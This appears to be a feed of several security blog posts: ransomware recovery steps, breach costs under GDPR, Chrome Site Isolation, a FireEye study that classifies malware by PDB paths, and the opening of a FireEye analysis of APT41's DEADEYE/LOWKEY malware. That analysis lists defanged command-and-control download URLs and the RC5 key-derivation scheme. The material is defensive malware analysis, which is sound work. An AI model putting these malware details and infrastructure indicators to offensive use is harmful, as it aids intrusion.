Ransomware is a specific type of malware that encrypts the files on a computer, essentially locking the owner out of their systems.

Once this has happened, the ransomware will display a message demanding that the victim make a ransom payment to regain access to their files.

Criminals generally plant the malware on victim’s computers by hiding it in an attachment contained within a phishing email.

Many ransomware victims feel obliged to pay up, because it’s the quickest and least expensive way to get back to business as usual.

However, experts generally urge organisations not to negotiate, because ransom payments help fuel the cyber crime industry.

But what’s the alternative? Take a look at our seven-step guide to find out.


1) Prepare for attack: back up your data

The only way to avoid paying ransoms and avoid catastrophic delays is to make sure you have a second, uninfected copy of your sensitive information.

That way, when crooks encrypt your systems, there’s no need to worry. Let them keep the decryptor. You can just wipe those files and upload clean duplicates.

Because you are continuously creating new files and amending old ones, backups should be performed regularly.

You don’t need to do everything in one go; instead, look at each folder and determine how often substantial changes are made.

The more frequently things are added or amended, the more often you should back them up.

Once you’ve determined that, you should set up a backup schedule, saving your work on an isolated local device or in the Cloud.


2) Be sure that it’s ransomware

Don’t assume that the person who has spotted the attack knows that it’s ransomware.

The attack method is more well-known than ever – thanks in part to WannaCry – but many people wouldn’t be able to identify the attack.

This means you could be wasting valuable time identifying the problem.

You can avoid this by teaching staff about ransomware and establishing a line of communication in the event of security incidents.

That way, the employee who first discovered the malware can immediately contact someone who can identify what the threat is and initiate response measures.


3) Disconnect infected devices from the network

Now that you’re sure that you’ve been hit by ransomware, you should isolate the infection by taking affected devices offline.

This will stop the ransomware spreading, giving you partial functionality and time to implement the next steps.


a business will fall victim to a ransomware attack every 14 seconds in 2019, and every 11 seconds by 2021.


4) Notify your employees

Employees will quickly notice that something is amiss.

Even if their computers haven’t been infected, they’ll see that others have and that certain systems are unavailable.

Whether or not they are aware that the disruption has been caused by ransomware, staff are liable to worry.

Is it just their team that’s affected? How are they supposed to do work? Are their bosses aware of the problem?

That’s why you should explain the situation to your employees as soon as possible.

Let them know which areas of the organisation have been infected and how you are going to manage in the meantime.

Many ransomware victims use pen and paper instead of computers where possible. If that’s possible in this situation, you should help out as much as you can.

For example, you should provide them with said pens and paper, direct them to hard copies of information they might need and bring in colleagues who can’t work to help out.


5) Photograph the ransom note

You can use this as evidence of the attack when submitting a police report.

This might seem futile – the police will almost certainly be unable to recover your data, let alone catch the crooks – but evidence of the attack is necessary for filing a cyber insurance claim.

If you don’t already have cyber insurance, it’s worth considering.

Damages associated with information security incidents generally aren’t mentioned in commercial insurance policies, meaning most providers won’t pay out if you make a claim based on, say, a business interruption.

You must therefore take out a specific cyber insurance policy if you want to protect yourself from the costs associated with cyber attacks and data breaches.


6) Find out what kind of ransomware it is

Identifying the ransomware strain used in the attack might save you a lot of time and effort.

Some strains have been cracked with decryption tools available online, and others are fakes that don’t actually encrypt data.

The ransom note might explicitly state what strain it is, but if it doesn’t, there are other clues that can help you identify it.

Try uploading the encryption file type, the way the ransom demand is phrased and the URLs within it to a website such as ID Ransomware, which can help you determine the strain you’ve been attacked with.


7) Remove the ransomware from your device

If the ransomware behind your attack has been cracked, you can use an online decryptor to remove the infection.

Similarly, if you’ve been attacked with a fake, you can simply delete the malicious file.

But what if it’s the real thing? Fortunately, that’s not much more complicated.

The safest way to remove ransomware is to restore your infected devices to factory settings.

You can do this on Windows devices by going to the update and security menu within your settings, or by holding F8 as your computer turns on until the recovery screen appears.

If the ransomware stops you from reaching recovery screens, you can use the installation disk or USB sticks on which your operating system is stored.

Be warned that this process will remove all data stored on the device, which is why it’s important to have backups.

Once your computer has been restored, you can transfer the duplicate files back onto your device.

Depending on how much data you have, this could take anywhere from a few hours to a few days – so you’re not completely out of the woods.

However, this process won’t take much longer than getting the decryptor from the fraudster and regaining access to your files.


What should you do if you’re under attack? 

When your defences fail and your organisation is compromised, every second counts.

You must respond quickly and follow a systematic, structured approach to the recovery process.

That is, of course, easier said than done, particularly if you don’t have a cyber security expert onboard.

Fortunately, IT Governance is here to help.

With our cyber security incident response service, expert consultants will guide you through the recovery process, from identifying the source of the breach and how to stem the damage to notifying the appropriate people and returning to business as usual.

Find out more

 

 


A version of this blog was originally published on 11 June 2019.

The post How to protect your organisation after a ransomware attack appeared first on IT Governance UK Blog.

Farewell the ‘porn block’ – a PR exercise but lousy policy | Amy Orben

Without greater access to our online habits, politicians cannot frame laws for the digital age

The UK government’s porn block was a dead man walking for months, if not years. It is long overdue that this attempt to curb children’s access to online pornography is scrapped. Almost two years ago, a close colleague and I sat in a meeting with one of the policymakers who had recently been asked to implement the proposal. The pained look on his face when we queried his progress confirmed our suspicions that it was an impossible task. It was clear to many that the block could – and would – never come to pass.

The plan did not have just one achilles heel – it had many.

Scientists and other stakeholders cannot access information about what the population is actually doing online

Related: UK drops plans for online pornography age verification system

Continue reading...

The damaging after-effects of a data breach

Think your organisation is unlikely to be affected by a data breach? Think again.

A Carbon Black study has found that 88% of UK businesses were breached last year, demonstrating just how widespread the threat is.

If your organisation hasn’t yet suffered a data breach, it’s probably only a matter of time.

Indeed, you may already have fallen victim and simply not know it yet. The average time to detect a security incident is 206 days.

That’s almost seven months. Consider how much damage is being done in that time. Thousands, if not millions, of records could be be compromised.


How are breached businesses affected?

Organisations suffer in many ways when they fall victim to a data breach, but the most immediately worrying are the financial repercussions.

There are several costs associated with a data breach, such as:

  • Compensating affected customers;
  • Setting up breach response efforts, like helpdesks for affected customers and complementary credit checks;
  • Investigating the incident, which might include hiring a third party or paying your own security staff in overtime; and
  • Falling share prices.

There’s also the threat of regulatory penalties following a data breach. The disciplinary powers introduced in the GDPR (General Data Protection Regulation) has made this potentially by far the biggest financial cost of a data breach.

The GDPR gives supervisory authorities – which in the UK is the ICO (Information Commissioner’s Office) – the power to fine non-compliant organisations €20 million (about £17.5 million) or 4% of global annual turnover, whichever is greater.

Worried about a data breaches? Gain quick access to expert support and advice when you need it most >>


Don’t overlook the reputational damage of a data breach

After paying off fines, the breached organisation must also deal with the damage to its reputation.

It can be hard for the organisation to retain customers’ trust, particularly if the breach was widespread or caused by basic security errors.

Regardless, you are bound to see people take their business elsewhere after a breach and you’ll struggle to bring in new customers.

Unless it was a catastrophic breach, the loss of trust will subside over time as people forget about the incident and competitors suffer a similar fate.

However, the damage will already have been done by then, with the breach halting your growth.

During this time, you must also hope that you don’t suffer another security incident, as this could compound the damage to such an extent that it’s impossible to recover from.

 


The dangers of collecting sensitive information

Data breaches are more likely to have bigger financial and reputational effects if sensitive personal data is involved.

This includes information relating to an individual’s:

  • Political opinions;
  • Racial or ethnic origin;
  • Religious or philosophical beliefs;
  • Trade union membership;
  • Genetic data; and
  • Biometric data (where processed to uniquely identify someone).

The misuse of sensitive data can cause a lot more damage than the standard things that are involved in breaches, like names, addresses and financial details.

Whereas ‘normal’ personal data is generally used to commit fraud or launch personalised cyber attacks (which, although bad, are a one-off event), a breach of sensitive personal data can permanently disrupt the victim’s life.

For example, it can expose information that the individual wanted keeping private for fear that it would lead to prejudice.

Think of the emotional damage that might occur if became publicly known that a data subject had a health condition or was a member of a controversial political party.

Similarly, consider the effects if biometric data was breached. This isn’t just a privacy breach; it can also have an irrevocable impact on their information security practices.

If they were using the information as a security mechanism (which is the most likely reason to share such information), it’s not as if they can reset their fingerprint, like you do when a password is breached.

The victim will forever know that their biometric data is out there and can potentially be used to access their accounts.

Organisations are therefore expected to take extra care when handling sensitive information. If it’s breached, the victims will be much less likely to forgive you and the ICO will come down much harder when issuing a fine.


Protect your organisation with a DPO

To help organisations tackle the threat of data breaches, the GDPR requires certain organisations to appoint a DPO (data protection officer).

They are independent data protection experts who help organisations meet their regulatory obligations.

DPOs’ tasks include monitoring an organisation’s data protection policies, advising management on whether DPIAs (data protection impact assessments) are necessary and serving as a point of contact between the organisation and its supervisory authority.

Although not every organisation is required to appoint a DPO, many experts – including the European Data Protection Board – believe all organisations will benefit from assigning someone to take on the DPO’s responsibilities.

Finding someone with the right experience can be tricky, though, which is why many organisations are turning to third-party help.


DPO as a Service

Our sister company GRCI Law Limited is a legal consultancy specialising in data protection and cyber security.

Under its DPO as a service offering, a qualified, experienced member of the team will act as DPO for your organisation. The role of the DPO is to monitor your data protection activities and compliance with the GDPR, and to offer advice on a day-to-day basis.

training promotion


A version of this blog was originally published on 9 April 2019.

The post The damaging after-effects of a data breach appeared first on IT Governance UK Blog.

Improving Site Isolation for Stronger Browser Security

The Chrome Security team values having multiple lines of defense. Web browsers are complex, and malicious web pages may try to find and exploit browser bugs to steal data. Additional lines of defense, like sandboxes, make it harder for attackers to access your computer, even if bugs in the browser are exploited. With Site Isolation, Chrome has gained a new line of defense that helps protect your accounts on the Web as well.

Site Isolation ensures that pages from different sites end up in different sandboxed processes in the browser. Chrome can thus limit the entire process to accessing data from only one site, making it harder for an attacker to steal cross-site data. We started isolating all sites for desktop users back in Chrome 67, and now we’re excited to enable it on Android for sites that users log into in Chrome 77. We've also strengthened Site Isolation on desktop to help defend against even fully compromised processes.

Site Isolation helps defend against two types of threats. First, attackers may try to use advanced "side channel" attacks to leak sensitive data from a process through unexpected means. For example, Spectre attacks take advantage of CPU performance features to access data that should be off limits. With Site Isolation, it is harder for the attacker to get cross-site data into their process in the first place.

Second, even more powerful attackers may discover security bugs in the browser, allowing them to completely hijack the sandboxed process. On desktop platforms, Site Isolation can now catch these misbehaving processes and limit their access to cross-site data. We're working to bring this level of hijacked process protection to Android in the future as well.

Thanks to this extra line of defense, Chrome can now help keep your web accounts even more secure. We are still making improvements to get the full benefits of Site Isolation, but this change gives Chrome a solid foundation for protecting your data.

If you’d like to learn more, check out our technical write up on the Chromium blog.

Definitive Dossier of Devilish Debug Details – Part Deux: A Didactic Deep Dive into Data Driven Deductions

In Part One of this blog series, Steve Miller outlined what PDB paths are, how they appear in malware, how we use them to detect malicious files, and how we sometimes use them to make associations about groups and actors.

As Steve continued his research into PDB paths, we became interested in applying more general statistical analysis. The PDB path as an artifact poses an intriguing use case for a couple of reasons.

­First, the PDB artifact is not directly tied to the functionality of the binary. As a byproduct of the compilation process, it contains information about the development environment, and by proxy, the malware author themselves. Rarely do we encounter static malware features with such an interesting tie to the human behind the keyboard, rather than the functionality of the file.

Second, file paths are an incredibly complex artifact with many different possible encodings. We had personally been dying to find an excuse to spend more time figuring out how to parse and encode paths in a more useful way. This presented an opportunity to dive into this space and test different approaches to representing file paths in various models.

The objectives of our project were:

  1. Build a large data set of PDB paths and apply some statistical methods to find potentially new signature terms and logic.
  2. Investigate whether applying machine learning classification approaches to this problem could improve our detection above writing hand-crafted signatures.
  3. Build a PDB classifier as a weak signal for binary analysis.

To start, we began gathering data. Our dataset, pulled from internal and external sources, started with over 200,000 samples. Once we deduplicated by PDB path, we had around 50,000 samples. Next, we needed to consistently label these samples, so we considered various labeling schemes.

Labeling Binaries With PDB Paths

For many of the binaries we had internal FireEye labels, and for others we looked up hashes on VirusTotal (VT) to have a look at their detection rates. This covered the majority of our samples. For a relatively small subset we had disagreements between our internal engine and VT results, which merited a slightly more nuanced policy. The disagreement was most often that our internal assessment determined a file to be benign, but the VT results showed a nonzero percentage of vendors detecting the file as malicious. In these cases we plotted the ‘VT ratio”: that is, the percentage of vendors labeling the files as malicious (Figure 1).


Figure 1: Ratio of vendors calling file bad/total number of vendors

The vast majority of these samples had VT detection ratios below 0.3, and in those cases we labeled the binaries as benign. For the remainder of samples we tried two strategies – marking them all as malicious, or removing them from the training set entirely. Our classification performance did not change much between these two policies, so in the end we scrapped the remainder of the samples to reduce label noise.

Building Features

Next, we had to start building features. This is where the fun began. Looking at dozens and dozens of PDB paths, we simply started recording various things that ‘pop out’ to an analyst. As noted earlier, a file path contains tons of implicit information, beyond simply being a string-based artifact. Some analogies we have found useful is that a file path is more akin to a geographical location in its representation of a location on the file system, or like a sentence in that it reflects a series of dependent items.

To further illustrate this point, consider a simple file path such as:

C:\Users\World\Desktop\duck\Zbw138ht2aeja2.pdb (source file)

This path tells us several things:

  • This software was compiled on the system drive of the computer
  • In a user profile, under user ‘World’
  • The project is managed on the Desktop, in a folder called ‘duck’
  • The filename has a high degree of entropy and is not very easy to remember

In contrast, consider something such as:

D:\VSCORE5\BUILD\VSCore\release\EntVUtil.pdb (source file)

This indicates:

  • Compilation on an external or secondary drive
  • Within a non-user directory
  • Contains development terms such as ‘BUILD’ and ‘release’
  • With a sensible, semi-memorable file name

These differences seem relatively straightforward and make intuitive sense as to why one might be representative of malware development whereas the other represents a more “legitimate-looking” development environment.

Feature Representations

How do we represent these differences to a model? The easiest and most obvious option is to calculate some statistics on each path. Features such as folder depth, path length, entropy, and counting things such as numbers, letters, and special characters in the PDB filename are easy to compute.

However, upon evaluation against our dataset, these features did not help to separate the classes very well. The following are some graphics detailing the distributions of these features between our classes of malicious and benign samples:

While there is potentially some separation between benign and malicious distributions, these features alone would likely not lead to an effective classifier (we tried). Additionally, we couldn’t easily translate these differences into explicit detection rules. There was more information in the paths that we needed to extract, so we began to look at how to encode the directory names themselves.

Normalization

As with any dataset, we had to undertake some steps to normalize the paths. For example, the occurrence of individual usernames, while perhaps interesting from an intelligence perspective, would be represented as distinct entities when in fact they have the same semantic meaning. Thus, we had to detect and replace usernames with <username> to normalize this representation. Other folder idiosyncrasies such as version numbers or randomly generated directories could similarly be normalized into <version> or <random>.

A typical normalized path might therefore go from this:

C:\Users\jsmith\Documents\Visual Studio 2013\Projects\mkzyu91952\mkzyu91952\obj\x86\Debug\mkzyu91952.pdb

To this:

c:\users\<username>\documents\visual studio 2013\projects\<random>\<random>\obj\x86\debug\mkzyu91952.pdb

You may notice that the PDB filename itself was not normalized. In this case we wanted to derive features from the filename itself, so we left it. Other approaches could be to normalize it, or even to make note that the same filename string ‘mkzyu91952’ appears earlier in the path. There are endless possible features when dealing with file paths.

Directory Analysis

Once we had normalized directories, we could start to “tokenize” each directory term, to start performing some statistical analysis. Our main goal of this analysis was to see if there were any directory terms that highly corresponded to maliciousness, or see if there were any simple combinations, such as pairs or triplets, that exhibited similar behavior.

We did not find any single directory name that easily separated the classes. That would be too easy. However, we did find some general correlations with directories such as “Desktop” being somewhat more likely to be malicious, and use of shared drives such as Z: to be more indicative of a benign file. This makes intuitive sense given the more collaborative environment a “legitimate” software development process might require. There are, of course, many exceptions and this is what makes the problem tricky.

Another strong signal we found, at least in our dataset, is that when the word “Desktop” was in a non-English language and particularly in a different alphabet, the likelihood of that PDB path being tied to a malicious file was very high (Figure 2). While potentially useful, this can be indicative of geographical bias in our dataset, and further research would need to be done to see if this type of signature would generalize.


Figure 2: Unicode desktop folders from malicious samples

Various Tokenizing Schemes

In recording the directories of a file path, there are several ways you can represent the path. Let’s use this path to illustrate these different approaches:

c:\Leave\smell\Long\ruleThis.pdb (file)

Bag of Words

One very simple way is the “bag-of-words” approach, which simply treats the path as the distinct set of directory names it contains. Therefore, the aforementioned path would be represented as:

[‘c:’,’leave’,’smell’,’long’,’rulethis’]

Positional Analysis

Another approach we considered was recording the position of each directory name, as a distance from the drive. This retained more information about depth, such that a ‘build’ directory on the desktop would be treated differently than a ‘build’ directory nine directories further down. For this purpose, we excluded the drives since they would always have the same depth.

[’leave_1’,’smell_2’,’long_3’,’rulethis_4’]

N-Gram Analysis

Finally, we explored breaking paths into n-grams; that is, as a distinct set of n- adjacent directories. For example, a 2-gram representation of this path might look like:

[‘c:\leave’,’leave\smell’,’smell\long’,’long\rulethis’]

We tested each of these approaches and while positional analysis and n-grams contained more information, in the end, bag-of-words seemed to generalize best. Additionally, using the bag-of-words approach made it easier to extract simple signature logic from the resultant models, as will be shown in a later section.

Term Co-Occurrence

Since we had the bag-of-words vectors created for each path, we were also able to evaluate term co-occurrence across benign and malicious files. When we evaluated the co-occurrence of pairs of terms, we found some other interesting pairings that indeed paint two very different pictures of development environments (Figure 3).

Correlated with Malicious Files

Correlated with Benign Files

users, desktop

src, retail

documents, visual studio 2012

obj, x64

local, temporary projects

src, x86

users, projects

src, win32

users, documents

retail, dynamic

appdata, temporary projects

src, amd64

users, x86

src, x64

Figure 3: Correlated pairs with malicious and benign files

Keyword Lists

Our bag-of-words representation of the PDB paths then gave us a distinct set of nearly 70,000 distinct terms. The vast majority of these terms occurred once or twice in the entire dataset, resulting in what is known as a ‘long-tailed’ distribution. Figure 4 is a graph of only the top 100 most common terms in descending order.


Figure 4: Long tailed distribution of term occurrence

As you can see, the counts drop off quickly, and you are left dealing with an enormous amount of terms that may only appear a handful of times. One very simple way to solve this problem, without losing a ton of information, is to simply cut off a keyword list after a certain number of entries. For example, take the top 50 occurring folder names (across both good and bad files), and save them as a keyword list. Then match this list against every path in the dataset. To create features, one-hot encode each match.  

Rather than arbitrarily setting a cutoff, we wanted to know a bit more about the distribution and understand where might be a good place to set a limit – such that we would cover enough of the samples without drastically increasing the number of features for our model. We therefore calculated the cumulative number of samples covered by each term, as we iterated down the list from most common to least common. Figure 5 is a graph showing the result.


Figure 5: Cumulative share of samples covered by distinct terms

As you can see, with only a small fraction of the terms, we can arrive at a significant percentage of the cumulative total PDB paths. Setting a simple cutoff at about 70% of the dataset resulted in roughly 230 terms for our total vocabulary. This gave us enough information about the dataset without blowing up our model with too many features (and therefore, dimensions). One-hot encoding the presence of these terms was then the final step in featurizing the directory names present in the paths.

YARA Signatures Do Grow on Trees

Armed with some statistical features, as well as one-hot encoded keyword matches, we began to train some models on our now-featurized dataset. In doing so, we hoped to use the model training and evaluation process to give us insights into how to build better signatures. If we developed an effective classification model, that would be an added benefit.

We felt that tree-based models made sense for this use case for two reasons. First, tree-based models have worked well in the past in domains requiring a certain amount of interpretability and using a blend of quantitative and categorical features. Second, the features we used are largely things we could represent in a YARA signature. Therefore, if our models built boolean logic branches that separated large numbers of PDB files, we could potentially translate these into signatures. This is not to say that other model families could not be used to build strong classifiers. Many other options ranging from Logistic Regression to Deep Learning could be considered.

We fed our featurized training set into a Decision Tree, having set a couple ‘hyperparameters’ such as max depth and minimum samples per leaf, etc. We were also able to use a sliding scale of these hyperparameters to dynamically create trees and, essentially, see what shook out. Examining a trained decision tree such as the one in Figure 6 allowed us to immediately build new signatures.


Figure 6: Example decision tree and decision paths

We found several other interesting tidbits within our decision trees. Some terms that resulted in completely or almost-completely malicious subgroups are:

Directory Term

Example Hashes

\poe\

a6b2aa2b489fb481c3cd9eab2f4f4f5c

92904dc99938352525492cd5133b9917

444be936b44cc6bd0cd5d0c88268fa77

\xampp\

4d093061c172b32bf8bef03ac44515ae

4e6c2d60873f644ef5e06a17d85ec777

52d2a08223d0b5cc300f067219021c90

\temporary projects\

a785bd1eb2a8495a93a2f348c9a8ca67

c43c79812d49ca0f3b4da5aca3745090

e540076f48d7069bacb6d607f2d389d9

\stub\

5ea538dfc64e28ad8c4063573a46800c

adf27ce5e67d770321daf90be6f4d895

c6e23da146a6fa2956c3dd7a9314fc97

We also found the term ‘WindowsApplication1’ to be quite useful. 89% of the files in our dataset containing this directory were malicious. Cursory research indicates that this is the default directory generated when using Visual Studio to compile a Windows binary. Once again, this makes some intuitive sense for finding malware authors. Training and evaluating decision trees with various parameters turned out to be a hugely productive exercise in discovering potential new signature terms and logic.

Classification Accuracy and Findings

Since we now had a large dataset of PDB paths and features, we wanted to see if we could train a traditional classifier to separate good files from bad. Using a Random Forest with some tuning, we were able to achieve an average accuracy of 87% over 10 cross validations. However, while our recall (the percentage of bad things we could identify with the model) was relatively high at 89%, our malware precision (the share of those things we called bad that were actually bad) was far too low, hovering at or below 50%. This indicates that using this model alone for malware detection would result in an unacceptably large number of false positives, were we to deploy it in the wild as a singular detection platform. However, used in conjunction with other tools, this could be a useful weak signal to assist with analysis.

Conclusion and Next Steps

While our journey of statistical PDB analysis did not yield a magic malware classifier, it did yield a number of useful findings that we were hoping for:

  1. We developed several file path feature functions which are transferable to other models under development.
  2. By diving into statistical analysis of the dataset, we were able to identify new keywords and logic branches to include in YARA signatures. These signatures have since been deployed and discovered new malware samples.
  3. We answered a number of our own general research questions about PDB paths, and were able to dispel some theories we had not fully tested with data.

While building an independent classifier was not the primary goal, improvements can surely be made to improve the end model accuracy. Generating an even larger, more diverse dataset would likely make the biggest impact on our accuracy, recall, and precision. Further hyperparameter tuning and feature engineering could also help. There is a large amount of established research into text classification using various deep learning methods such as LSTMs, which could be applied effectively to a larger dataset.

PDB paths are only one small family of file paths that we encounter in the field of cyber security. Whether in initial infection, staging, or another part of the attack lifecycle, the file paths found during forensic analysis can reveal incredibly useful information about adversary activity. We look forward to further community research on how to properly extract and represent that information.

IDG Contributor Network: I didn’t expect that

I remember talking with my marketing team in the summer of 2014 about IoT (Internet of Things) vs. IoE (Internet of Everything). Cisco had come out with IoE hoping to take the thought leadership lead from GE on the transformation known today as the Internet of Things. I was reminiscing on this during a recent lunch time run and asked myself the question I try to ask daily – “What have I been surprised to learn?”

For me learning surprises usually come in three categories. First, I am surprised because I have just never thought about the subject that way. As a physicist this was the experience when I first learned of Einstein’s Simple Theory of Relativity. Basically, a different Point-of-View on the matter can give one a whole different perspective on how it works. A pragmatic, everyday example of a POV learning is rather than just worrying about the cost-of-a-service visit, one considers the cost-of-uncertainty of the visit – of not knowing when the expense will occur.

To read this article in full, please click here

Secure IT: Shop Safe Online

Everything we do on a daily basis has some form of “trust” baked into it. Where you live, what kind of car you drive, where you send your children to school, who you consider good friends, what businesses you purchase from, etc. Trust instills a level of confidence that your risk is minimized and acceptable to you. Why should this philosophy be any different when the entity you need to trust is on the other end of an Internet address? In fact, because you are connecting to an entity that you cannot see or validate, a higher level of scrutiny is required before they earn your trust. What Universal Resource Locator (URL) are you really connecting to? Is it really your banking website or new online shopping website that you are trying for the first time? How can you tell?

It’s a jungle out there. So we’ve put together five ways you can stay safe while you shop online:

  1. Shop at sites you trust. Are you looking at a nationally or globally recognized brand? Do you have detailed insight into what the site looks like? Have you established an account on this site, and is there a history that you can track for when you visit and what you buy? Have you linked the valid URL for the site in your browser? Mistyping a URL in your browser for any site you routinely visit can lead you to a rogue website.

  2. Use secure networks to connect. Just as important as paying attention to what you connect to is to be wary of where you connect from. Your home Wi-Fi network that you trust—okay. An open Wi-Fi at an airport, cyber café, or public kiosk—not okay. If you can’t trust the network, do not enter identifying information or your payment card information. Just ask our cybersecurity services experts to demonstrate how easy it is to compromise an open Wi-Fi network, and you’ll see why we recommend against public Wi-Fi for sensitive transactions.

  3. Perform basic checks in your browser. Today’s modern browsers are much better at encrypted and secure connections than they were a few years ago. They use encrypted communication by leveraging a specific Internet protocol, hypertext transfer protocol secure (HTTPS). This means that there is a certificate associated with this site in your browser that is verified before you are allowed to connect and establish the encrypted channel. (Just so you know, yes, these certificates can be spoofed, but that is a problem for another day). How do you check for this certificate?

    Look up in your browser title bar.

  4. It will display the URL you are connecting to.

    Hover over and click on the lock icon

    Note that the information says the certificate is valid. But let’s verify that. Hover over and click on the certificate icon.

    Certificate is issued to Amazon from a valid Certificate Authority and is valid until 12/15/2019. Excellent.

  5. Create strong password for your shopping sites. This issue is covered in another blog post, but use longer passwords, 10–12 characters, and keep them in a safe place that cannot be compromised by an unauthorized person. If a second factor is offered, use it. Many sites will send you a code to your smartphone to type into a login screen to verify you are who you say you are.

  6. Don’t give out information about yourself that seems unreasonable. If you are being asked for your social security number, think long and hard, and then longer and harder, about why that information should be required. And then don’t do it until you ask a trusted source about why that would be necessary. Be wary of anything you see when you are on a website that does not look familiar or normal.

We all use the Internet to shop. It is super convenient, and the return on investment is awesome. Having that new cool thing purchased in 10 minutes and delivered directly to your door—wow! Can you ever really be 100% sure that the Internet site you are visiting is legitimate, and that you are not going to inadvertently give away sensitive and/or financial information that is actually going directly into a hacker’s data collection file? Unfortunately, no. A lot of today’s scammers are very sophisticated. But as we discussed up front, this is a trust- and risk-based decision, and if you are aware that you could be compromised at any time on the Internet and are keeping your eyes open for things that just don’t look right or familiar, you have a higher probability of a safe online shopping experience.

To recap:

  • Visit and use sites you know and trust
  • Keep the correct URLs in your bookmarks (don’t risk mistyping a URL).
  • Check the certificate to ensure your connection to the site is secured by a legitimate and active certificate.
  • Look for anything that is not familiar to your known experience with the site.
  • If you can, do not save credit card or payment card information on the site. (If you do, you need to be aware that if that site is breached, your payment data is compromised.)
  • Use strong passwords for your shopping site accounts. And use a different password for every site. (No one ring to rule them all!)
  • If a site offers a second factor to authenticate you, use it.
  • Check all your payment card statements regularly to look for rogue purchases.
  • Subscribe to an identity theft protection service if you can. These services will alert you if your identity has been compromised.

Safe shopping!

The post Secure IT: Shop Safe Online appeared first on Connected.

Beyond Testing: The Human Element of Application Security

Companies of every size and in every industry are changing the world with software. From healthcare to agriculture, education, and manufacturing, software is enabling unprecedented advancement and innovation. But if that software is insecure, these innovations may get held up, or worse, put us at risk. And this is a very real concern; our most recent State of Software Security report found that 83 percent of applications had at least one vulnerability on initial scan. In turn, testing the security of software and addressing any security-related defects is a critical undertaking.

However, it’s important not to lose sight of the fact that effective application security secures software throughout its entire lifecycle — from inception to production. With the speed of today’s development cycles — and the speed with which software changes and the threat landscape evolves — it would be foolish to assume that code will always be 100 percent vulnerability-free after the development phase, or that code in production doesn’t need to be tested or, in some cases, patched.

An effective application security program requires some “human” elements beyond testing, including:

Developer secure coding training, because the vulnerability that is never introduced will always be the cheapest and easiest to fix. Most developers don’t receive training on secure coding, either in school or on the job, but when they do, it pays off. Data collected for our State of Software Security report found that eLearning on secure coding improved developer fix rates by 19 percent.

A solid vulnerability disclosure policy, which ensures that vulnerabilities unearthed by security researchers are addressed and disclosed in an effective manner. Veracode’s co-founder and CTO Chris Wysopal notes that, “Today, we have both tools and processes to find and reduce bugs in software during the development process. But even with these tools, new vulnerabilities are found every day. A strong disclosure policy is a necessary part of an organization’s security strategy and allows researchers to work with an organization to reduce its exposure. A good vulnerability disclosure policy will have established procedures to work with outside security researchers, set expectations on fix timelines and outcomes, and test for defects and fix software before it is shipped.”

Bug bounty programs, which put the power of multiple security researchers behind your application security. Wysopal says of bug bounty programs, “bringing in outside hackers with their own attack tools will uncover new risks. This is one of the clear values of bug bounty programs.”

Ultimately, effective application security focuses on both prevention and detection. You wouldn’t let your kids play with matches just because you have a fire extinguisher. On the other hand, even if you teach your kids about fire safety and never let them play with matches, you wouldn’t toss out the fire extinguisher. Fire safety requires prevention and detection, as does application security.

Testing your code for vulnerabilities early and often in the development process, and assessing the security of both third-party and open source code are all essential software security steps. But detecting and responding to vulnerabilities with human solutions plays a critical part as well. Developer training, a vulnerability disclosure policy, and a bug bounty partnership all play a role.

Continue this conversation with us at our fall road show; we’ve teamed up with Bugcrowd and Edgewise on a series of networking events -- coming to a city near you!

Knowing Your Part

Being a privacy professional can be tough but rewarding. There are multiple rules, definitions, and deviations by jurisdiction to those rules that we must know. This generally presents itself in the form of a question, “How do you learn and remember all these rules?” Generally, practice makes perfect and experience is the best teacher. However, […]

The post Knowing Your Part appeared first on Privacy Ref.

LOWKEY: Hunting for the Missing Volume Serial ID

In August 2019, FireEye released the “Double Dragon” report on our newest graduated threat group: APT41. A China-nexus dual espionage and financially-focused group, APT41 targets industries such as gaming, healthcare, high-tech, higher education, telecommunications, and travel services.

This blog post is about the sophisticated passive backdoor we track as LOWKEY, mentioned in the APT41 report and recently unveiled at the FireEye Cyber Defense Summit. We observed LOWKEY being used in highly targeted attacks, utilizing payloads that run only on specific systems. Additional malware family names are used in the blog post and briefly described. For a complete overview of malware used by APT41 please refer to the Technical Annex section of our APT41 report.

The blog post is split into three parts, which are shown in Figure 1. The first describes how we managed to analyze the encrypted payloads. The second part features position independent loaders we observed in multiple samples, adding an additional layer of obfuscation. The final part is about the actual backdoor we call LOWKEY, which comes in two variants, a passive TCP listener and a passive HTTP listener targeting Internet Information Services (IIS).


Figure 1: Blog post overview

DEADEYE – RC5

Tracking APT41 activities over the past months, we observed multiple samples that shared two unique features: the use of RC5 encryption which we don’t encounter often, and a unique string “f@Ukd!rCto R$.”. We track these samples as DEADEYE.

DEADEYE comes in multiple variants:

  • DEADEYE.DOWN has the capability to download additional payloads.
  • DEADEYE.APPEND has additional payloads appended to it.
  • DEADEYE.EXT loads payloads that are already present on the system.

DEADEYE.DOWN

A sample belonging to DEADEYE.DOWN (MD5: 5322816c2567198ad3dfc53d99567d6e) attempts to download two files on the first execution of the malware.

The first file is downloaded from hxxp://checkin.travelsanignacio[.]com/static/20170730.jpg. The command and control (C2) server response is first RC5 decrypted with the key “wsprintfA” and then RC5 encrypted with a different key and written to disk as <MODULE_NAME>.mui.

The RC5 key is constructed using the volume serial number of the C drive. The volume serial number is a 4-byte value, usually based on the install time of the system. The volume serial number is XORed with the hard-coded constant “f@Ukd!rCto R$.” and then converted to hex to derive a key of up to 28 bytes in length. The key length can vary if the XORed value contains an embedded zero byte because the lstrlenA API call is used to determine the length of it. Note that the lstrlenA API call happens before the result is converted to hex. If the index of the byte modulo 4 is zero, the hex conversion is in uppercase. The key derivation is illustrated in Table 1.

Volume Serial number of C drive, for example 0xAABBCCDD

F          ^          0xAA

=          0xCC

uppercase

@         ^          0xBB

=          0xFB

lowercase

U          ^          0xCC

=          0x99

lowercase

k          ^          0xDD

=          0xB6

lowercase

d          ^          0xAA

=          0xCE

uppercase

!           ^          0xBB

=          0x9A

lowercase

r           ^          0xCC

=          0xBE

lowercase

C          ^          0xDD

=          0x9E

lowercase

t           ^          0xAA

=          0xDE

uppercase

o          ^          0xBB

=          0xD4

lowercase

(0x20)   ^          0xCC

=          0xEC

lowercase

R          ^          0xDD

=          0x8F

lowercase

$          ^          0xAA

=          0x8E

uppercase

.           ^          0xBB

=          0x95

lowercase

Derived key CCfb99b6CE9abe9eDEd4ec8f8E95

Table 1: Key derivation example

The second file is downloaded from hxxp://checkin.travelsanignacio[.]com/static/20160204.jpg. The C2 response is RC5 decrypted with the key “wsprintfA” and then XORed with 0x74, before it is saved as C:\Windows\System32\wcnapi.mui.


Figure 2: 5322816c2567198ad3dfc53d99567d6e download

